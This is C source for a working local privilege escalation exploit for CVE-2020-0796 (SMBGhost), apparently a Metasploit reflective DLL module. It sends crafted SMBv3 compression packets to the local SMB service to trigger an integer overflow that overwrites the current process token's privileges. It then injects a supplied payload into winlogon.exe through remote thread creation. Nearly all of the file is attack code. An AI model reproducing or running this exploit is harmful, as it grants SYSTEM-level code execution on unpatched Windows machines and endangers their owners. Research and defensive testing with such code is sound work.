/* * CVE-2020-0796 LPE * * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com * Date: 03/29/2020 * **/ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include #include #include #include #include #include #include #include "exploit.h" typedef struct _MSF_PAYLOAD { DWORD dwSize; CHAR cPayloadData[]; } MSF_PAYLOAD; typedef MSF_PAYLOAD* PMSF_PAYLOAD; ULONG64 get_handle_addr(HANDLE h) { ULONG len = 20; NTSTATUS status = (NTSTATUS)0xc0000004; PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL; HMODULE ntdll = GetModuleHandle("ntdll.dll"); if (ntdll == NULL) { return 0; } fpNtQuerySystemInformation NtQuerySystemInformation = (fpNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation"); if (NtQuerySystemInformation == NULL) { return 0; } do { len *= 2; pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len); status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len); } while (status == (NTSTATUS)0xc0000004); if (status != (NTSTATUS)0x0) { return 0; } DWORD mypid = GetProcessId(GetCurrentProcess()); ULONG64 ptrs[1000] = { 0 }; for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) { PVOID object = pHandleInfo->Handles[i].Object; ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue; DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId; if (pid != mypid) continue; if (handle == (ULONG_PTR)h) return (ULONG64)object; } return 0; } ULONG64 get_process_token() { HANDLE token; HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); if (proc == INVALID_HANDLE_VALUE) return 0; OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); return get_handle_addr(token); } int error_exit(SOCKET sock) { WSACleanup(); return EXIT_FAILURE; } int send_negotiation(SOCKET sock) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, /* session */ 0x00, 0x00, 0xC4, /* length */ /* SMB Header */ 0xFE, 0x53, 0x4D, 0x42, /* protocol id */ 0x40, 0x00, /* structure size, must be 0x40 */ 0x00, 0x00, /* credit charge */ 0x00, 0x00, /* channel sequence */ 0x00, 0x00, /* channel reserved */ 0x00, 0x00, /* command */ 0x00, 0x00, /* credits requested */ 0x00, 0x00, 0x00, 0x00, /* flags */ 0x00, 0x00, 0x00, 0x00, /* chain offset */ 0x00, 0x00, 0x00, 0x00, /* message id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x00, 0x00, 0x00, 0x00, /* tree id */ 0x00, 0x00, 0x00, 0x00, /* session id */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* signature */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* SMB Negotiation Request */ 0x24, 0x00, /* structure size */ 0x08, 0x00, /* dialect count, 8 */ 0x00, 0x00, /* security mode */ 0x00, 0x00, /* reserved */ 0x7F, 0x00, 0x00, 0x00, /* capabilities */ 0x01, 0x02, 0xAB, 0xCD, /* guid */ 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x01, 0x02, 0xAB, 0xCD, 0x78, 0x00, /* negotiate context */ 0x00, 0x00, /* additional padding */ 0x02, 0x00, /* negotiate context count */ 0x00, 0x00, /* reserved 2 */ 0x02, 0x02, /* dialects, SMB 2.0.2 */ 0x10, 0x02, /* SMB 2.1 */ 0x22, 0x02, /* SMB 2.2.2 */ 0x24, 0x02, /* SMB 2.2.3 */ 0x00, 0x03, /* SMB 3.0 */ 0x02, 0x03, /* SMB 3.0.2 */ 0x10, 0x03, /* SMB 3.0.1 */ 0x11, 0x03, /* SMB 3.1.1 */ 0x00, 0x00, 0x00, 0x00, /* padding */ /* Preauth context */ 0x01, 0x00, /* type */ 0x26, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x01, 0x00, /* hash algorithm count */ 0x20, 0x00, /* salt length */ 0x01, 0x00, /* hash algorith, SHA512 */ 0x00, 0x00, 0x00, 0x00, /* salt */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* pad */ /* Compression context */ 0x03, 0x00, /* type */ 0x0E, 0x00, /* length */ 0x00, 0x00, 0x00, 0x00, /* reserved */ 0x02, 0x00, /* compression algorithm count */ 0x00, 0x00, /* padding */ 0x01, 0x00, 0x00, 0x00, /* flags */ 0x02, 0x00, /* LZ77 */ 0x03, 0x00, /* LZ77+Huffman */ 0x00, 0x00, 0x00, 0x00, /* padding */ 0x00, 0x00, 0x00, 0x00 }; if ((err = send(sock, (const char*)buf, sizeof(buf), 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } return err; } int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { int err = 0; char response[8] = { 0 }; const uint8_t buf[] = { /* NetBIOS Wrapper */ 0x00, 0x00, 0x00, 0x33, /* SMB Header */ 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 0x02, 0x00, /* compression algorithm, LZ77 */ 0x00, 0x00, /* flags */ 0x10, 0x00, 0x00, 0x00, /* offset */ }; uint8_t* packet = (uint8_t*)malloc(sizeof(buf) + 0x10 + len); if (packet == NULL) { return error_exit(sock); } memcpy(packet, buf, sizeof(buf)); *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; memcpy(packet + sizeof(buf) + 0x10, buffer, len); if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { recv(sock, response, sizeof(response), 0); } free(packet); return err; } void inject(PMSF_PAYLOAD pMsfPayload) { PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); int pid = -1; if (Process32First(snapshot, &entry) == TRUE) { while (Process32Next(snapshot, &entry) == TRUE) { if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { pid = entry.th32ProcessID; break; } } } CloseHandle(snapshot); if (pid < 0) { return; } HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProc == NULL) { return; } LPVOID lpMem = VirtualAllocEx(hProc, NULL, pMsfPayload->dwSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpMem == NULL) { return; } if (!WriteProcessMemory(hProc, lpMem, &pMsfPayload->cPayloadData, pMsfPayload->dwSize, 0)) { return; } if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { return; } } DWORD exploit(PMSF_PAYLOAD pMsfPayload) { WORD wVersionRequested = MAKEWORD(2, 2); WSADATA wsaData = { 0 }; SOCKET sock = INVALID_SOCKET; uint64_t ktoken = 0; int err = 0; if ((err = WSAStartup(wVersionRequested, &wsaData)) != 0) { return EXIT_FAILURE; } if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { WSACleanup(); return EXIT_FAILURE; } sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == INVALID_SOCKET) { WSACleanup(); return EXIT_FAILURE; } SOCKADDR_IN client; client.sin_family = AF_INET; client.sin_port = htons(445); InetPton(AF_INET, "127.0.0.1", &client.sin_addr); if (connect(sock, (SOCKADDR*)&client, sizeof(client)) == SOCKET_ERROR) { return error_exit(sock); } if (send_negotiation(sock) == SOCKET_ERROR) { return error_exit(sock); } ULONG buffer_size = 0x1110; UCHAR* buffer = (UCHAR*)malloc(buffer_size); if (buffer == NULL) { return error_exit(sock); } ktoken = get_process_token(); if (ktoken == 0) { return EXIT_FAILURE; } HMODULE ntdll = GetModuleHandle("ntdll.dll"); if (ntdll == NULL) { return EXIT_FAILURE; } fpRtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = (fpRtlGetCompressionWorkSpaceSize)GetProcAddress(ntdll, "RtlGetCompressionWorkSpaceSize"); if (RtlGetCompressionWorkSpaceSize == NULL) { return EXIT_FAILURE; } fpRtlCompressBuffer RtlCompressBuffer = (fpRtlCompressBuffer)GetProcAddress(ntdll, "RtlCompressBuffer"); if (RtlCompressBuffer == NULL) { return EXIT_FAILURE; } memset(buffer, 'A', 0x1108); *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ ULONG CompressBufferWorkSpaceSize = 0; ULONG CompressFragmentWorkSpaceSize = 0; err = RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); if (err != STATUS_SUCCESS) { return error_exit(sock); } ULONG FinalCompressedSize; UCHAR compressed_buffer[64]; LPVOID lpWorkSpace = malloc(CompressBufferWorkSpaceSize); if (lpWorkSpace == NULL) { return error_exit(sock); } err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); if (err != STATUS_SUCCESS) { free(lpWorkSpace); return error_exit(sock); } if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { return error_exit(sock); } inject(pMsfPayload); WSACleanup(); return EXIT_SUCCESS; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { BOOL bReturnValue = TRUE; switch (dwReason) { case DLL_QUERY_HMODULE: hAppInstance = hinstDLL; if (lpReserved != NULL) { *(HMODULE*)lpReserved = hAppInstance; } break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; exploit((PMSF_PAYLOAD)lpReserved); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }